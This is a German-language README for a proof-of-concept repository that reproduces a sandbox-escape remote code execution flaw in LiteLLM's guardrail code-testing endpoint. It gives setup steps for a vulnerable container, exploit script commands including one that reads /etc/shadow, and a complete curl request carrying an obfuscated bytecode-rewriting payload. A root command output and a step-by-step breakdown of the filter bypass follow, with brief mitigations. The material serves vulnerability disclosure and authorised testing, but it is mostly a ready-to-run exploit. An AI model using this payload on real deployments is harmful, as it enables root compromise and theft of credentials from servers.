
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle
LiteLLM
POST /guardrails/test_custom_code— Sandbox Escape, der zu Remote Code Execution (RCE) als root in der Standard-Docker-Bereitstellung führt.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Unzureichende Kontrolle dynamisch verwalteter Code-Ressourcen) / CWE-94 |
| Betroffen | LiteLLM ≤ 2026-04-08 (pre-v1.83.11) |
| Behoben | v1.83.11+ (ersetzt handgebaute Sandbox durch RestrictedPython) |
| Entdecker | Markus Vervier — X41 D-Sec GmbH |
| Veröffentlicht | 2026-04-08 |
| Link | X41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security |
Der Endpunkt POST /guardrails/test_custom_code in LiteLLM erlaubt authentifizierten Benutzern, beliebigen Python-Code zum Testen von Guardrails einzureichen. Der Endpunkt versucht, gefährliche Operationen durch regex-basierte Quellcode-Filterung einzuschränken, was jedoch durch CPython-Bytecode-Rewriting-Techniken vollständig umgangen werden kann, was zu beliebiger Codeausführung im Proxy-Prozess führt. Im Standard-Docker-Image läuft der Proxy als root, was die Auswirkungen verstärkt.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ Wichtig: Die
docker-compose.ymlfixiert das angreifbare Image auf einen bestimmten Digest (sha256:7c311546...) vom 22. März 2026. Ändern Sie den Tag nicht aufmain-latestoder eine neuere Version – spätere Images könnten bereits den Fix (RestrictedPython) enthalten, selbst wenn die Versionsnummer etwas anderes suggeriert (z. B. wurdev1.83.10-stablenach dem Patch neu gebaut und ist nicht angreifbar).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # Diese Datei
├── docker-compose.yml # Ein-Kommando-angreifbare Umgebung
├── requirements.txt # Abhängigkeiten
├── exploit/
│ ├── exploit.py # Vollständiges Exploit-Skript
│ └── payload.py # Bytecode-Payload-Modul
├── docs/
│ └── advisory.md # Übersetzte Advisory-Details
└── screenshots/ # Nachweis-Screenshots
RestrictedPython statt handgebauter Sandbox)/guardrails/test_custom_code an Ihrem Reverse-Proxy / API-Gatewaydocker run --user 1000:1000 ...Haftungsausschluss: Dieser Inhalt wird nur zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.
| Schritt | Technik | Code |
|---|
| 1 | Regex-Umgehung via String-Verkettung | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Erhalte object-Klasse via str.mro()[1] | obj = str.mro()[1] |
| 3 | Zugriff auf Generator-Code-Objekt via gi_code | c = g(None).gi_code |
| 4 | Ersetze __code__ der Funktion via object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Extrahiere echte builtins aus http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Erreiche RCE via os.popen | imp("os").popen("id").read() |